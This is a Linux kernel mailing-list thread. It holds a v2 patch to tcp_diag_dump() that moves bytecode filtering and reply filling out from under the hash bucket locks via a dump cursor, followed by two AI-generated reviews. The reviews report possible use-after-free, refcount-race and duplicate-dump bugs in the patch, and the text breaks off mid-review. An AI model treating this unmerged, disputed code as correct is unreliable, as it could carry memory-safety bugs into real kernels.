Fixes: 5caea4ea7088 ("net: listening_hash get a spinlock per bucket")
Fixes: 91051f003948 ("tcp: Dump bound-only sockets in inet_diag.")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
  - Rebased onto net commit e2a6641e3bfd (2026-08-27).
  - Added current-bucket cursor validation for listener, bind, and ehash
    paths, with safe restart on mismatch.
  - Reject listen/ehash cursors unless sk_state still matches the table
    being walked, so a reused sk_nulls_node cannot continue under the
    wrong bucket lock.
  - Count TIME_WAIT bind nodes toward SKARR_SZ and resume them via tw_tb2
    instead of skipping them under the bind lock.
  - Kept listener and bound-only Fixes tags; dropped 7e3aab4a9cd7 because
    that commit only converted the existing ehash dump lock type.
  - Sorted new listen/bind/ehash local declarations reverse xmas tree.
  - Left INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN to the MPTCP patch.
  - Moved SKARR_SZ comment off "bh disabled" and aligned the ehash cursor
    continuation indent.
  - Refreshed the reviewed PoC and decoded crash-log artifacts.
  - v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/

 include/linux/inet_diag.h     |  14 ++
 include/net/inet_hashtables.h |  18 ++
 net/ipv4/inet_diag.c          |  13 ++
 net/ipv4/inet_hashtables.c    |  18 --
 net/ipv4/tcp_diag.c           | 338 +++++++++++++++++++++++++---------
 5 files changed, 294 insertions(+), 107 deletions(-)

diff --git a/include/linux/inet_diag.h b/include/linux/inet_diag.h
index 704fd415c2b4..6ccd32bc48f9 100644
--- a/include/linux/inet_diag.h
+++ b/include/linux/inet_diag.h
@@ -6,6 +6,7 @@
 #include <uapi/linux/inet_diag.h>
 
 struct inet_hashinfo;
+struct sock;
 
 struct inet_diag_handler {
 	struct module	*owner;
@@ -32,12 +33,23 @@ struct inet_diag_handler {
 };
 
 struct bpf_sk_storage_diag;
+
+enum inet_diag_dump_cursor_type {
+	INET_DIAG_DUMP_CURSOR_NONE,
+	INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
+	INET_DIAG_DUMP_CURSOR_TCP_BIND,
+	INET_DIAG_DUMP_CURSOR_TCP_EHASH,
+};
+
 struct inet_diag_dump_data {
 	struct nlattr *req_nlas[__INET_DIAG_REQ_MAX];
 #define inet_diag_nla_bc req_nlas[INET_DIAG_REQ_BYTECODE]
 #define inet_diag_nla_bpf_stgs req_nlas[INET_DIAG_REQ_SK_BPF_STORAGES]
 
 	struct bpf_sk_storage_diag *bpf_stg_diag;
+	struct sock *dump_cursor;
+	unsigned int dump_cursor_slot;
+	u8 dump_cursor_type;
 	bool mark_needed;	/* INET_DIAG_BC_MARK_COND present. */
 #ifdef CONFIG_SOCK_CGROUP_DATA
 	bool cgroup_needed;	/* INET_DIAG_BC_CGROUP_COND present. */
@@ -53,6 +65,8 @@ int inet_sk_diag_fill(struct sock *sk, struct inet_connection_sock *icsk,
 
 int inet_diag_bc_sk(const struct inet_diag_dump_data *cb_data, struct sock *sk);
 
+void inet_diag_dump_clear_cursor(struct inet_diag_dump_data *cb_data);
+
 void inet_diag_msg_common_fill(struct inet_diag_msg *r, struct sock *sk);
 
 static inline size_t inet_diag_msg_attrs_size(void)
diff --git a/include/net/inet_hashtables.h b/include/net/inet_hashtables.h
index 6e2fe186d0dc..d95639ac70c6 100644
--- a/include/net/inet_hashtables.h
+++ b/include/net/inet_hashtables.h
@@ -188,6 +188,24 @@ inet_lhash2_bucket(struct inet_hashinfo *h, u32 hash)
 	return &h->lhash2[hash & h->lhash2_mask];
 }
 
+static inline struct inet_listen_hashbucket *
+inet_lhash2_bucket_sk(struct inet_hashinfo *h, struct sock *sk)
+{
+	u32 hash;
+
+#if IS_ENABLED(CONFIG_IPV6)
+	if (sk->sk_family == AF_INET6)
+		hash = ipv6_portaddr_hash(sock_net(sk),
+					  &sk->sk_v6_rcv_saddr,
+					  inet_sk(sk)->inet_num);
+	else
+#endif
+		hash = ipv4_portaddr_hash(sock_net(sk),
+					  inet_sk(sk)->inet_rcv_saddr,
+					  inet_sk(sk)->inet_num);
+	return inet_lhash2_bucket(h, hash);
+}
+
 static inline struct inet_ehash_bucket *inet_ehash_bucket(
 	struct inet_hashinfo *hashinfo,
 	unsigned int hash)
diff --git a/net/ipv4/inet_diag.c b/net/ipv4/inet_diag.c
index 34b77aa87d0a..41148e880054 100644
--- a/net/ipv4/inet_diag.c
+++ b/net/ipv4/inet_diag.c
@@ -891,10 +891,23 @@ static int inet_diag_dump_start_compat(struct netlink_callback *cb)
 	return __inet_diag_dump_start(cb, sizeof(struct inet_diag_req));
 }
 
+void inet_diag_dump_clear_cursor(struct inet_diag_dump_data *cb_data)
+{
+	if (!cb_data->dump_cursor)
+		return;
+
+	sock_gen_put(cb_data->dump_cursor);
+	cb_data->dump_cursor = NULL;
+	cb_data->dump_cursor_slot = 0;
+	cb_data->dump_cursor_type = INET_DIAG_DUMP_CURSOR_NONE;
+}
+EXPORT_SYMBOL_GPL(inet_diag_dump_clear_cursor);
+
 static int inet_diag_dump_done(struct netlink_callback *cb)
 {
 	struct inet_diag_dump_data *cb_data = cb->data;
 
+	inet_diag_dump_clear_cursor(cb_data);
 	bpf_sk_storage_diag_free(cb_data->bpf_stg_diag);
 	kfree(cb->data);
 
diff --git a/net/ipv4/inet_hashtables.c b/net/ipv4/inet_hashtables.c
index ba0faa9ae2bb..1c839fe3d7e0 100644
--- a/net/ipv4/inet_hashtables.c
+++ b/net/ipv4/inet_hashtables.c
@@ -331,24 +331,6 @@ int __inet_inherit_port(const struct sock *sk, struct sock *child)
 	return -ENOMEM;
 }
 
-static struct inet_listen_hashbucket *
-inet_lhash2_bucket_sk(struct inet_hashinfo *h, struct sock *sk)
-{
-	u32 hash;
-
-#if IS_ENABLED(CONFIG_IPV6)
-	if (sk->sk_family == AF_INET6)
-		hash = ipv6_portaddr_hash(sock_net(sk),
-					  &sk->sk_v6_rcv_saddr,
-					  inet_sk(sk)->inet_num);
-	else
-#endif
-		hash = ipv4_portaddr_hash(sock_net(sk),
-					  inet_sk(sk)->inet_rcv_saddr,
-					  inet_sk(sk)->inet_num);
-	return inet_lhash2_bucket(h, hash);
-}
-
 static inline int compute_score(struct sock *sk, const struct net *net,
 				const unsigned short hnum, const __be32 daddr,
 				const int dif, const int sdif)
diff --git a/net/ipv4/tcp_diag.c b/net/ipv4/tcp_diag.c
index ba1fdbe9807f..842e13ee79e5 100644
--- a/net/ipv4/tcp_diag.c
+++ b/net/ipv4/tcp_diag.c
@@ -285,6 +285,73 @@ static int sk_diag_fill(struct sock *sk, struct sk_buff *skb,
 				 net_admin);
 }
 
+/* Process a maximum of SKARR_SZ sockets at a time when walking hash buckets
+ * while holding a bucket lock.
+ */
+#define SKARR_SZ 16
+
+static void tcp_diag_save_cursor(struct inet_diag_dump_data *cb_data, int type,
+				 unsigned int slot, struct sock *sk)
+{
+	sock_hold(sk);
+	inet_diag_dump_clear_cursor(cb_data);
+	cb_data->dump_cursor = sk;
+	cb_data->dump_cursor_slot = slot;
+	cb_data->dump_cursor_type = type;
+}
+
+static struct inet_bind2_bucket *tcp_diag_sk_bind2(const struct sock *sk)
+{
+	if (sk->sk_state == TCP_TIME_WAIT)
+		return inet_twsk(sk)->tw_tb2;
+
+	return inet_csk(sk)->icsk_bind2_hash;
+}
+
+static bool tcp_diag_bind_collect_sock(struct sock *sk, struct sock **sk_arr,
+				       int *num_arr, int *accum, int num)
+{
+	sock_hold(sk);
+	num_arr[*accum] = num;
+	sk_arr[*accum] = sk;
+
+	return ++*accum == SKARR_SZ;
+}
+
+static bool tcp_diag_bind_collect_owners(struct hlist_head *owners,
+					 struct sock **sk_arr, int *num_arr,
+					 int *accum, int *num, int s_num)
+{
+	struct sock *sk;
+
+	sk_for_each_bound(sk, owners) {
+		if (*num < s_num) {
+			(*num)++;
+			continue;
+		}
+
+		if (tcp_diag_bind_collect_sock(sk, sk_arr, num_arr, accum, *num))
+			return true;
+		(*num)++;
+	}
+
+	return false;
+}
+
+static bool tcp_diag_bind_collect_owners_continue(struct sock *sk,
+						  struct sock **sk_arr,
+						  int *num_arr, int *accum,
+						  int *num)
+{
+	hlist_for_each_entry_continue(sk, sk_bind_node) {
+		if (tcp_diag_bind_collect_sock(sk, sk_arr, num_arr, accum, *num))
+			return true;
+		(*num)++;
+	}
+
+	return false;
+}
+
 static void twsk_build_assert(void)
 {
 	BUILD_BUG_ON(offsetof(struct inet_timewait_sock, tw_family) !=
@@ -335,8 +402,15 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
 		for (i = s_i; i <= hashinfo->lhash2_mask; i++) {
 			struct inet_listen_hashbucket *ilb;
 			struct hlist_nulls_node *node;
+			struct sock *sk_arr[SKARR_SZ];
+			int num_arr[SKARR_SZ];
+			struct sock *cursor;
+			int idx, accum, res;
+			bool use_cursor;
 
+resume_listen_walk:
 			num = 0;
+			accum = 0;
 			ilb = &hashinfo->lhash2[i];
 
 			if (hlist_nulls_empty(&ilb->nulls_head)) {
@@ -344,52 +418,81 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
 				continue;
 			}
 			spin_lock(&ilb->lock);
-			sk_nulls_for_each(sk, node, &ilb->nulls_head) {
-				struct inet_sock *inet = inet_sk(sk);
+			cursor = cb_data->dump_cursor;
+			use_cursor = cursor &&
+				     cb_data->dump_cursor_type ==
+				     INET_DIAG_DUMP_CURSOR_TCP_LISTEN &&
+				     cb_data->dump_cursor_slot == i &&
+				     inet_sk_state_load(cursor) == TCP_LISTEN &&
+				     !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
+				     cursor->sk_nulls_node.pprev != LIST_POISON2 &&
+				     inet_lhash2_bucket_sk(hashinfo, cursor) == ilb;
+			node = use_cursor ? cursor->sk_nulls_node.next :
+					    ilb->nulls_head.first;
+			if (!use_cursor)
+				s_num = 0;
+			hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
 
-				if (!net_eq(sock_net(sk), net))
-					continue;
+				sock_hold(sk);
+				num_arr[accum] = num;
+				sk_arr[accum] = sk;
+				if (++accum == SKARR_SZ)
+					break;
 
-				if (num < s_num) {
-					num++;
-					continue;
-				}
+				++num;
+			}
+			spin_unlock(&ilb->lock);
+
+			res = 0;
+			for (idx = 0; idx < accum; idx++) {
+				struct inet_sock *inet;
+
+				sk = sk_arr[idx];
+				if (!net_eq(sock_net(sk), net))
+					goto processed_listen_sk;
 
+				inet = inet_sk(sk);
 				if (r->sdiag_family != AF_UNSPEC &&
 				    sk->sk_family != r->sdiag_family)
-					goto next_listen;
+					goto processed_listen_sk;
 
 				if (r->id.idiag_sport != inet->inet_sport &&
 				    r->id.idiag_sport)
-					goto next_listen;
-
-				if (!inet_diag_bc_sk(cb_data, sk))
-					goto next_listen;
+					goto processed_listen_sk;
 
-				if (inet_sk_diag_fill(sk, inet_csk(sk), skb,
-						      cb, r, NLM_F_MULTI,
-						      net_admin) < 0) {
-					spin_unlock(&ilb->lock);
-					goto done;
+				if (res >= 0 && inet_diag_bc_sk(cb_data, sk)) {
+					res = inet_sk_diag_fill(sk, inet_csk(sk),
+								skb, cb, r, NLM_F_MULTI,
+								net_admin);
+					if (res < 0)
+						num = num_arr[idx];
 				}
+processed_listen_sk:
+				if (res >= 0)
+					tcp_diag_save_cursor(cb_data,
+							     INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
+							     i, sk);
+				sock_put(sk);
+			}
+			if (res < 0)
+				goto done;
 
-next_listen:
-				++num;
+			cond_resched();
+
+			if (accum == SKARR_SZ) {
+				s_num = 0;
+				goto resume_listen_walk;
 			}
-			spin_unlock(&ilb->lock);
 
+			inet_diag_dump_clear_cursor(cb_data);
 			s_num = 0;
 		}
 skip_listen_ht:
+		inet_diag_dump_clear_cursor(cb_data);
 		cb->args[0] = 1;
 		s_i = num = s_num = 0;
 	}
 
-/* Process a maximum of SKARR_SZ sockets at a time when walking hash buckets
- * with bh disabled.
- */
-#define SKARR_SZ 16
-
 	/* Dump bound but inactive (not listening, connecting, etc.) sockets */
 	if (cb->args[0] == 1) {
 		if (!(idiag_states & TCPF_BOUND_INACTIVE))
@@ -400,7 +503,9 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
 			struct inet_bind2_bucket *tb2;
 			struct sock *sk_arr[SKARR_SZ];
 			int num_arr[SKARR_SZ];
+			struct sock *cursor;
 			int idx, accum, res;
+			bool use_cursor;
 
 resume_bind_walk:
 			num = 0;
@@ -412,34 +517,46 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
 				continue;
 			}
 			spin_lock_bh(&ibb->lock);
-			inet_bind_bucket_for_each(tb2, &ibb->chain) {
-				if (!net_eq(ib2_net(tb2), net))
-					continue;
-
-				sk_for_each_bound(sk, &tb2->owners) {
-					struct inet_sock *inet = inet_sk(sk);
-
-					if (num < s_num)
-						goto next_bind;
-
-					if (sk->sk_state != TCP_CLOSE ||
-					    !inet->inet_num)
-						goto next_bind;
-
-					if (r->sdiag_family != AF_UNSPEC &&
-					    r->sdiag_family != sk->sk_family)
-						goto next_bind;
-
-					if (!inet_diag_bc_sk(cb_data, sk))
-						goto next_bind;
-
-					sock_hold(sk);
-					num_arr[accum] = num;
-					sk_arr[accum] = sk;
-					if (++accum == SKARR_SZ)
+			cursor = cb_data->dump_cursor;
+			use_cursor = cursor &&
+				     cb_data->dump_cursor_type ==
+				     INET_DIAG_DUMP_CURSOR_TCP_BIND &&
+				     cb_data->dump_cursor_slot == i &&
+				     !hlist_unhashed(&cursor->sk_bind_node) &&
+				     cursor->sk_bind_node.pprev != LIST_POISON2;
+			if (use_cursor) {
+				tb2 = tcp_diag_sk_bind2(cursor);
+				use_cursor = tb2 &&
+					     inet_bhashfn_portaddr(hashinfo, cursor,
+								   sock_net(cursor),
+								   inet_sk(cursor)->inet_num) ==
+					     ibb;
+			}
+			if (!use_cursor)
+				s_num = 0;
+			if (use_cursor) {
+				sk = cursor;
+				if (tcp_diag_bind_collect_owners_continue(sk, sk_arr,
+									  num_arr,
+									  &accum,
+									  &num))
+					goto pause_bind_walk;
+				hlist_for_each_entry_continue(tb2, node) {
+					if (tcp_diag_bind_collect_owners(&tb2->owners,
+									 sk_arr,
+									 num_arr,
+									 &accum,
+									 &num, 0))
+						goto pause_bind_walk;
+				}
+			} else {
+				inet_bind_bucket_for_each(tb2, &ibb->chain) {
+					if (tcp_diag_bind_collect_owners(&tb2->owners,
+									 sk_arr,
+									 num_arr,
+									 &accum,
+									 &num, s_num))
 						goto pause_bind_walk;
-next_bind:
-					num++;
 				}
 			}
 pause_bind_walk:
@@ -447,15 +564,33 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
 
 			res = 0;
 			for (idx = 0; idx < accum; idx++) {
-				if (res >= 0) {
-					res = inet_sk_diag_fill(sk_arr[idx],
-								NULL, skb, cb,
+				struct inet_sock *inet;
+
+				sk = sk_arr[idx];
+				if (!net_eq(sock_net(sk), net))
+					goto put_bind_sk;
+
+				inet = inet_sk(sk);
+				if (sk->sk_state != TCP_CLOSE || !inet->inet_num)
+					goto put_bind_sk;
+
+				if (r->sdiag_family != AF_UNSPEC &&
+				    r->sdiag_family != sk->sk_family)
+					goto put_bind_sk;
+
+				if (res >= 0 && inet_diag_bc_sk(cb_data, sk)) {
+					res = inet_sk_diag_fill(sk, NULL, skb, cb,
 								r, NLM_F_MULTI,
 								net_admin);
 					if (res < 0)
 						num = num_arr[idx];
 				}
-				sock_put(sk_arr[idx]);
+put_bind_sk:
+				if (res >= 0)
+					tcp_diag_save_cursor(cb_data,
+							     INET_DIAG_DUMP_CURSOR_TCP_BIND,
+							     i, sk);
+				sock_gen_put(sk);
 			}
 			if (res < 0)
 				goto done;
@@ -463,13 +598,15 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
 			cond_resched();
 
 			if (accum == SKARR_SZ) {
-				s_num = num + 1;
+				s_num = 0;
 				goto resume_bind_walk;
 			}
 
+			inet_diag_dump_clear_cursor(cb_data);
 			s_num = 0;
 		}
 skip_bind_ht:
+		inet_diag_dump_clear_cursor(cb_data);
 		cb->args[0] = 2;
 		s_i = num = s_num = 0;
 	}
@@ -483,43 +620,35 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
 		struct hlist_nulls_node *node;
 		struct sock *sk_arr[SKARR_SZ];
 		int num_arr[SKARR_SZ];
+		struct sock *cursor;
 		int idx, accum, res;
+		bool use_cursor;
 
 		if (hlist_nulls_empty(&head->chain))
 			continue;
 
-		if (i > s_i)
+		if (i > s_i) {
+			inet_diag_dump_clear_cursor(cb_data);
 			s_num = 0;
+		}
 
 next_chunk:
 		num = 0;
 		accum = 0;
 		spin_lock_bh(lock);
-		sk_nulls_for_each(sk, node, &head->chain) {
-			int state;
-
-			if (!net_eq(sock_net(sk), net))
-				continue;
-			if (num < s_num)
-				goto next_normal;
-			state = (sk->sk_state == TCP_TIME_WAIT) ?
-				READ_ONCE(inet_twsk(sk)->tw_substate) : sk->sk_state;
-			if (!(idiag_states & (1 << state)))
-				goto next_normal;
-			if (r->sdiag_family != AF_UNSPEC &&
-			    sk->sk_family != r->sdiag_family)
-				goto next_normal;
-			if (r->id.idiag_sport != htons(READ_ONCE(sk->sk_num)) &&
-			    r->id.idiag_sport)
-				goto next_normal;
-			if (r->id.idiag_dport != sk->sk_dport &&
-			    r->id.idiag_dport)
-				goto next_normal;
-			twsk_build_assert();
-
-			if (!inet_diag_bc_sk(cb_data, sk))
-				goto next_normal;
-
+		cursor = cb_data->dump_cursor;
+		use_cursor = cursor &&
+			     cb_data->dump_cursor_type ==
+			     INET_DIAG_DUMP_CURSOR_TCP_EHASH &&
+			     cb_data->dump_cursor_slot == i &&
+			     inet_sk_state_load(cursor) != TCP_LISTEN &&
+			     !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
+			     cursor->sk_nulls_node.pprev != LIST_POISON2 &&
+			     inet_ehash_bucket(hashinfo, cursor->sk_hash) == head;
+		node = use_cursor ? cursor->sk_nulls_node.next : head->chain.first;
+		if (!use_cursor)
+			s_num = 0;
+		hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
 			if (!refcount_inc_not_zero(&sk->sk_refcnt))
 				goto next_normal;
 
@@ -534,13 +663,42 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
 
 		res = 0;
 		for (idx = 0; idx < accum; idx++) {
-			if (res >= 0) {
-				res = sk_diag_fill(sk_arr[idx], skb, cb, r,
-						   NLM_F_MULTI, net_admin);
+			int state;
+
+			sk = sk_arr[idx];
+			if (!net_eq(sock_net(sk), net))
+				goto put_estab_sk;
+
+			state = (sk->sk_state == TCP_TIME_WAIT) ?
+				READ_ONCE(inet_twsk(sk)->tw_substate) : sk->sk_state;
+			if (!(idiag_states & (1 << state)))
+				goto put_estab_sk;
+
+			if (r->sdiag_family != AF_UNSPEC &&
+			    sk->sk_family != r->sdiag_family)
+				goto put_estab_sk;
+
+			if (r->id.idiag_sport != htons(READ_ONCE(sk->sk_num)) &&
+			    r->id.idiag_sport)
+				goto put_estab_sk;
+
+			if (r->id.idiag_dport != sk->sk_dport &&
+			    r->id.idiag_dport)
+				goto put_estab_sk;
+
+			twsk_build_assert();
+			if (res >= 0 && inet_diag_bc_sk(cb_data, sk)) {
+				res = sk_diag_fill(sk, skb, cb, r, NLM_F_MULTI,
+						   net_admin);
 				if (res < 0)
 					num = num_arr[idx];
 			}
-			sock_gen_put(sk_arr[idx]);
+put_estab_sk:
+			if (res >= 0)
+				tcp_diag_save_cursor(cb_data,
+						     INET_DIAG_DUMP_CURSOR_TCP_EHASH,
+						     i, sk);
+			sock_gen_put(sk);
 		}
 		if (res < 0)
 			break;
@@ -548,9 +706,11 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
 		cond_resched();
 
 		if (accum == SKARR_SZ) {
-			s_num = num + 1;
+			s_num = 0;
 			goto next_chunk;
 		}
+
+		inet_diag_dump_clear_cursor(cb_data);
 	}
 
 done:
-- 
2.43.0

Re: [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump()

[sashiko-bot]

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [High] Missing fallback to resume by `s_num` when the dump cursor is invalidated, causing dump restarts and duplicate socket messages.
--

commit 027317402fdfe4d3580f395cdc040206720287ef
Author: Zihan Xi <zihanx@nebusec.ai>

tcp: diag: bound bucket lock hold in tcp_diag_dump()

This commit limits the time spent under bucket locks in tcp_diag_dump() by
collecting only a batch of referenced sockets while holding the lock. It
introduces a cursor mechanism to resume dumps instead of restarting from
the bucket head.

Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/

> diff --git a/net/ipv4/tcp_diag.c b/net/ipv4/tcp_diag.c
> index ba1fdbe9807fd..842e13ee79e5b 100644
> --- a/net/ipv4/tcp_diag.c
> +++ b/net/ipv4/tcp_diag.c
[ ... ]
> @@ -344,52 +418,81 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
>  				continue;
>  			}
>  			spin_lock(&ilb->lock);
> -			sk_nulls_for_each(sk, node, &ilb->nulls_head) {
> -				struct inet_sock *inet = inet_sk(sk);
[ ... ]
> +			node = use_cursor ? cursor->sk_nulls_node.next :
> +					    ilb->nulls_head.first;
> +			if (!use_cursor)
> +				s_num = 0;
> +			hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {

[Severity: High]
If the cursor is invalidated (use_cursor evaluates to false), the iteration
restarts from the bucket head, but the fallback skip logic:

    if (num < s_num)
        continue;

appears to have been completely removed. By explicitly setting s_num to 0,
does this cause the dump to restart from the beginning of the bucket without
skipping previously processed sockets? 

If a large bucket has high churn, could this prevent the dump from progressing
past the first few batches and lead to an endless stream of duplicate sockets?

[ ... ]
> @@ -412,34 +517,46 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
[ ... ]
> +			if (!use_cursor)
> +				s_num = 0;
> +			if (use_cursor) {
[ ... ]
> +			} else {
> +				inet_bind_bucket_for_each(tb2, &ibb->chain) {
> +					if (tcp_diag_bind_collect_owners(&tb2->owners,
> +									 sk_arr,
> +									 num_arr,
> +									 &accum,
> +									 &num, s_num))
> +						goto pause_bind_walk;
>  				}
>  			}

[Severity: High]
Similar to the listen walk, s_num is explicitly zeroed before being passed
into tcp_diag_bind_collect_owners() when use_cursor is false. 

Does this break the intended fallback skip mechanism and result in duplicate
messages or infinite loops if the cursor becomes invalid?

[ ... ]
> @@ -483,43 +620,35 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
[ ... ]
> -		sk_nulls_for_each(sk, node, &head->chain) {
> -			int state;
> -
> -			if (!net_eq(sock_net(sk), net))
> -				continue;
> -			if (num < s_num)
> -				goto next_normal;
[ ... ]
> +		node = use_cursor ? cursor->sk_nulls_node.next : head->chain.first;
> +		if (!use_cursor)
> +			s_num = 0;
> +		hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {

[Severity: High]
Here in the ehash walk, the original check for skipping elements
(goto next_normal) was removed, and s_num is zeroed if the cursor is missing
or invalid. 

Could this lead to the same duplicate dump issue if a socket pointed to by the
cursor is closed and unhashed between recvmsg() calls?

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1788248601.git.zihanx@nebusec.ai?part=1

Re: [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump()

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found 6 potential
issue(s) to consider:

Critical: 2 · High: 1 · Medium: 2 · Low: 1

- [Critical] Use-after-free / wild-pointer traversal: the new bind-hash
  dump cursor revalidation in tcp_diag_dump() cannot detect that the…
- [Critical] Refcount initialization race: tcp_diag_bind_collect_sock()
  calls sock_hold() unconditionally on every node of tb2->owners,…
- [High] Loss of dump forward progress and duplicate output: the patch
  deletes every positional (`s_num`) resume path in tcp_diag_dump()…
- [Medium] Lockless, unordered reads of cursor state: the listen and
  ehash cursor validations establish "this socket is in the bucket I…
- [Medium] The commit message mischaracterizes the pre-existing defect.
- [Low] Concern that the sibling MPTCP listener dump
  (mptcp_diag_dump_listeners()) keeps evaluating request-supplied…

--

tcp: diag: bound bucket lock hold in tcp_diag_dump()

This reworks the three tcp_diag_dump() hash walks so that only referenced
sockets are collected under each bucket lock, and moves the family/port
filters, inet_diag_bc_sk() bytecode evaluation and the fill work outside the
critical section.  A referenced dump cursor is added to
struct inet_diag_dump_data so a following batch resumes after the previously
reported socket, with per-table validation of the cursor.

v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/

>     inet_diag dumps run request-supplied bytecode through inet_diag_bc_sk().
>     tcp_diag_dump() currently evaluates socket filters and fills replies while
>     holding the listener, bind, and ehash bucket locks.

[Severity: Medium]
Is this description accurate for all three tables?

At the baseline (544d85de4dc2) only the listener walk fills replies under
ilb->lock.  The bind walk already collected at most SKARR_SZ = 16 referenced
sockets under spin_lock_bh(&ibb->lock) and only called inet_sk_diag_fill()
after the lock was dropped:

	pause_bind_walk:
			spin_unlock_bh(&ibb->lock);

			res = 0;
			for (idx = 0; idx < accum; idx++) {
				if (res >= 0) {
					res = inet_sk_diag_fill(sk_arr[idx],
								NULL, skb, cb,
								r, NLM_F_MULTI,
								net_admin);

The ehash walk did the same with sk_diag_fill() after spin_unlock_bh(lock).
What remained under the bind and ehash locks was inet_diag_bc_sk() plus the
cheap family/port comparisons, bounded to 16 sockets per lock hold.

Could the changelog be narrowed to the listener walk, or state explicitly
what part of the bind/ehash work it is moving out?

> diff --git a/include/linux/inet_diag.h b/include/linux/inet_diag.h
> index 704fd415c2b49..6ccd32bc48f91 100644
> --- a/include/linux/inet_diag.h
> +++ b/include/linux/inet_diag.h

[ ... ]

> @@ -32,12 +33,23 @@ struct inet_diag_handler {
>  };
>  
>  struct bpf_sk_storage_diag;
> +
> +enum inet_diag_dump_cursor_type {
> +	INET_DIAG_DUMP_CURSOR_NONE,
> +	INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
> +	INET_DIAG_DUMP_CURSOR_TCP_BIND,
> +	INET_DIAG_DUMP_CURSOR_TCP_EHASH,
> +};
> +

[Severity: Low]
This isn't a bug, but a note for backporters.  The sibling MPTCP listener
dump mptcp_diag_dump_listeners() is converted by the follow-up patch in this
series (INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN, which is why the enum slot and
the exported inet_diag_dump_clear_cursor() appear here), so at the tip of the
series the MPTCP listener walk also drops ilb->lock before calling
sk_diag_dump()/inet_diag_bc_sk().

This patch is Cc: stable, and the commit message body does not mention that
the MPTCP listener walk keeps running request-supplied bytecode under the
same hashinfo->lhash2 bucket lock until the follow-up patch is applied.  Only
the v2 changelog, which is stripped on apply, mentions "Left
INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN to the MPTCP patch".  Could that
dependency be stated in the commit message?

[ ... ]

> diff --git a/include/net/inet_hashtables.h b/include/net/inet_hashtables.h
> index 6e2fe186d0dcb..d95639ac70c67 100644
> --- a/include/net/inet_hashtables.h
> +++ b/include/net/inet_hashtables.h
> @@ -188,6 +188,24 @@ inet_lhash2_bucket(struct inet_hashinfo *h, u32 hash)
>  	return &h->lhash2[hash & h->lhash2_mask];
>  }
>  
> +static inline struct inet_listen_hashbucket *
> +inet_lhash2_bucket_sk(struct inet_hashinfo *h, struct sock *sk)
> +{
> +	u32 hash;
> +
> +#if IS_ENABLED(CONFIG_IPV6)
> +	if (sk->sk_family == AF_INET6)
> +		hash = ipv6_portaddr_hash(sock_net(sk),
> +					  &sk->sk_v6_rcv_saddr,
> +					  inet_sk(sk)->inet_num);
> +	else
> +#endif
> +		hash = ipv4_portaddr_hash(sock_net(sk),
> +					  inet_sk(sk)->inet_rcv_saddr,
> +					  inet_sk(sk)->inet_num);
> +	return inet_lhash2_bucket(h, hash);
> +}
> +

[ ... ]

> diff --git a/net/ipv4/tcp_diag.c b/net/ipv4/tcp_diag.c
> index ba1fdbe9807fd..842e13ee79e5b 100644
> --- a/net/ipv4/tcp_diag.c
> +++ b/net/ipv4/tcp_diag.c
> @@ -285,6 +285,73 @@ static int sk_diag_fill(struct sock *sk, struct sk_buff *skb,
>  				 net_admin);
>  }
>  

[ ... ]

> +static struct inet_bind2_bucket *tcp_diag_sk_bind2(const struct sock *sk)
> +{
> +	if (sk->sk_state == TCP_TIME_WAIT)
> +		return inet_twsk(sk)->tw_tb2;
> +
> +	return inet_csk(sk)->icsk_bind2_hash;
> +}
> +
> +static bool tcp_diag_bind_collect_sock(struct sock *sk, struct sock **sk_arr,
> +				       int *num_arr, int *accum, int num)
> +{
> +	sock_hold(sk);
> +	num_arr[*accum] = num;
> +	sk_arr[*accum] = sk;
> +
> +	return ++*accum == SKARR_SZ;
> +}
> +
> +static bool tcp_diag_bind_collect_owners(struct hlist_head *owners,
> +					 struct sock **sk_arr, int *num_arr,
> +					 int *accum, int *num, int s_num)
> +{
> +	struct sock *sk;
> +
> +	sk_for_each_bound(sk, owners) {
> +		if (*num < s_num) {
> +			(*num)++;
> +			continue;
> +		}
> +
> +		if (tcp_diag_bind_collect_sock(sk, sk_arr, num_arr, accum, *num))
> +			return true;
> +		(*num)++;
> +	}
> +
> +	return false;
> +}

[Severity: Critical]
Can the unconditional sock_hold() in tcp_diag_bind_collect_sock() hit a
TIME_WAIT socket whose tw_refcnt is still 0?

The changelog says "Bind collection counts TIME_WAIT nodes toward the batch
limit", and tcp_diag_bind_collect_owners() no longer filters on
sk->sk_state != TCP_CLOSE before taking the reference, so every node of
